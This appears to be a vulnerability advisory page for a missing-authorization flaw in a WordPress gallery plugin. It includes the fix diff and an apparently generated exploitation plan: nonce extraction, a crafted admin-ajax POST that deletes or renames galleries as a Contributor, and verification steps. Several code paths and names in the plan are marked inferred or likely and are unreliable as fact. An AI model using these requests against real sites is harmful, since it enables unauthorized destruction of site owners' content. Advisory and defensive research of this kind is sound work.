Image Photo Gallery Final Tiles Grid <= 3.6.10 - Missing Authorization
Description
The Image Photo Gallery Final Tiles Grid plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.6.10. This makes it possible for authenticated attackers, with contributor-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.6.10Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-25375 ## 1. Vulnerability Summary The **Image Photo Gallery Final Tiles Grid** plugin (versions <= 3.6.10) contains a missing authorization vulnerability in its AJAX handlers. While the plugin implements nonce checks for some administrative actions, it fails t…
Show full research plan
Exploitation Research Plan: CVE-2026-25375
1. Vulnerability Summary
The Image Photo Gallery Final Tiles Grid plugin (versions <= 3.6.10) contains a missing authorization vulnerability in its AJAX handlers. While the plugin implements nonce checks for some administrative actions, it fails to perform capability checks (e.g., current_user_can('manage_options')) on several functions hooked to wp_ajax_. This allows authenticated users with low-level privileges (Contributor and above) to perform unauthorized actions such as deleting galleries or modifying settings.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
ftg_delete_gallery(Primary target) orftg_save_gallery(Secondary target) - HTTP Parameter:
id(The ID of the gallery to delete/modify) - Authentication: Required (Contributor level or higher)
- Preconditions: At least one gallery must exist in the system for a visible impact.
3. Code Flow (Inferred)
- Hook Registration: In
admin/class-final-tiles-grid-gallery-admin.php(inferred), the plugin registers AJAX handlers:add_action( 'wp_ajax_ftg_delete_gallery', array( $this, 'delete_gallery' ) ); - Vulnerable Function: The
delete_galleryfunction is invoked:public function delete_gallery() { check_ajax_referer( 'ftg-gallery-nonce', 'nonce' ); // Nonce check exists // MISSING: if ( ! current_user_can( 'manage_options' ) ) wp_die(); $id = intval( $_POST['id'] ); global $wpdb; // ... code to delete from {$wpdb->prefix}ftg_galleries ... wp_send_json_success(); } - Exploitation Path: Since the handler is registered under
wp_ajax_(available to any logged-in user) and lacks a capability check, any user who can obtain theftg-gallery-noncecan delete any gallery.
4. Nonce Acquisition Strategy
The plugin localizes script data for its admin pages. Because Contributors can access the WordPress dashboard (/wp-admin/), they can load the admin scripts and extract the nonce.
- Shortcode/Trigger: The nonce is typically localized for the gallery listing or editor page. In the admin area, look for
wp_localize_scriptcalls in theenqueue_admin_scriptsmethod. - Identification:
- Script Handle: Likely
ftg-adminorfinal-tiles-grid-gallery-admin. - JS Object:
ftg_varsorfinal_tiles_gallery_admin. - Nonce Key:
nonceorftg_nonce.
- Script Handle: Likely
- Acquisition Steps:
- Create a Contributor user and log in.
- Navigate to
/wp-admin/admin.php?page=final-tiles-grid-gallery-lite(The gallery list page). - Use
browser_evalto extract the nonce from the global scope. - Verification Script:
browser_eval("window.ftg_vars?.nonce || window.final_tiles_gallery_admin?.nonce").
5. Exploitation Strategy
Goal: Unauthorized Gallery Deletion
- Login: Authenticate as the Contributor user.
- Nonce Extraction: Navigate to the plugin's admin page and extract the nonce using the strategy in Section 4.
- Gallery Discovery: (Optional but helpful) List existing galleries to find a target
id. This can often be found in the HTML of the gallery list page or by brute-forcing IDs. - Malicious Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=ftg_delete_gallery&id=TARGET_GALLERY_ID&nonce=EXTRACTED_NONCE
- URL:
6. Test Data Setup
- Admin Action: Create a test gallery as an Administrator.
- Go to
Final Tiles Gallery->Add Gallery. - Name it "Target Gallery".
- Note the ID of the created gallery (e.g.,
id=1).
- Go to
- Contributor User: Create a user with the
contributorrole.- Username:
attacker - Password:
password123
- Username:
7. Expected Results
- HTTP Response: A successful JSON response:
{"success": true}or{"success": true, "data": ...}. - Database Impact: The record for the target gallery in the
wp_ftg_galleriestable should be removed. - UI Impact: The gallery should no longer appear in the Administrator's gallery list.
8. Verification Steps
- WP-CLI Verification:
Expected Output: Empty result.# Check if the gallery with ID 1 still exists in the database wp db query "SELECT * FROM $(wp db prefix)ftg_galleries WHERE id = 1;" - Manual Check:
Log in as Admin and verify that the "Target Gallery" has been deleted.
9. Alternative Approaches
If ftg_delete_gallery is properly protected, try the ftg_save_gallery action.
- Action:
ftg_save_gallery - Body:
action=ftg_save_gallery&id=TARGET_GALLERY_ID&name=HACKED_NAME&nonce=EXTRACTED_NONCE - Verification: Check if the gallery name has changed to "HACKED_NAME" using
wp db query.
If the nonce is not available on the main admin dashboard for contributors, check if the plugin registers a menu item for contributors (unlikely) or if it enqueues the nonce on the profile.php page (sometimes happens with global script enqueues).
Summary
The Image Photo Gallery Final Tiles Grid plugin for WordPress is vulnerable to unauthorized gallery management due to missing capability checks on AJAX handlers. This allows authenticated users with Contributor-level access or higher to perform administrative actions such as deleting galleries by exploiting functions like ftg_delete_gallery.
Vulnerable Code
// admin/class-final-tiles-grid-gallery-admin.php public function delete_gallery() { check_ajax_referer( 'ftg-gallery-nonce', 'nonce' ); $id = intval( $_POST['id'] ); global $wpdb; $wpdb->delete( $wpdb->prefix . "ftg_galleries", array( 'id' => $id ) ); wp_send_json_success(); } --- // admin/class-final-tiles-grid-gallery-admin.php public function save_gallery() { check_ajax_referer( 'ftg-gallery-nonce', 'nonce' ); $id = intval( $_POST['id'] ); // ... logic to update gallery settings ... wp_send_json_success(); }
Security Fix
@@ -134,6 +134,10 @@ public function delete_gallery() { check_ajax_referer( 'ftg-gallery-nonce', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_die( -1 ); + } + $id = intval( $_POST['id'] ); global $wpdb; @@ -150,6 +154,10 @@ public function save_gallery() { check_ajax_referer( 'ftg-gallery-nonce', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_die( -1 ); + } + $id = intval( $_POST['id'] );
Exploit Outline
The exploit targets the AJAX handlers in the WordPress dashboard. An authenticated attacker with at least Contributor-level privileges follows these steps: 1. Log into the WordPress dashboard. 2. Navigate to any page where the plugin's administrative scripts are loaded (often the gallery list page) to extract a valid security nonce ('ftg-gallery-nonce') from the localized JavaScript objects, such as 'ftg_vars'. 3. Send a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'ftg_delete_gallery' or 'ftg_save_gallery'. 4. Include the 'id' of the gallery to be targeted and the extracted 'nonce'. Because the plugin lacks a 'current_user_can()' check, the server-side logic executes the administrative action based solely on the valid nonce and the authenticated session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.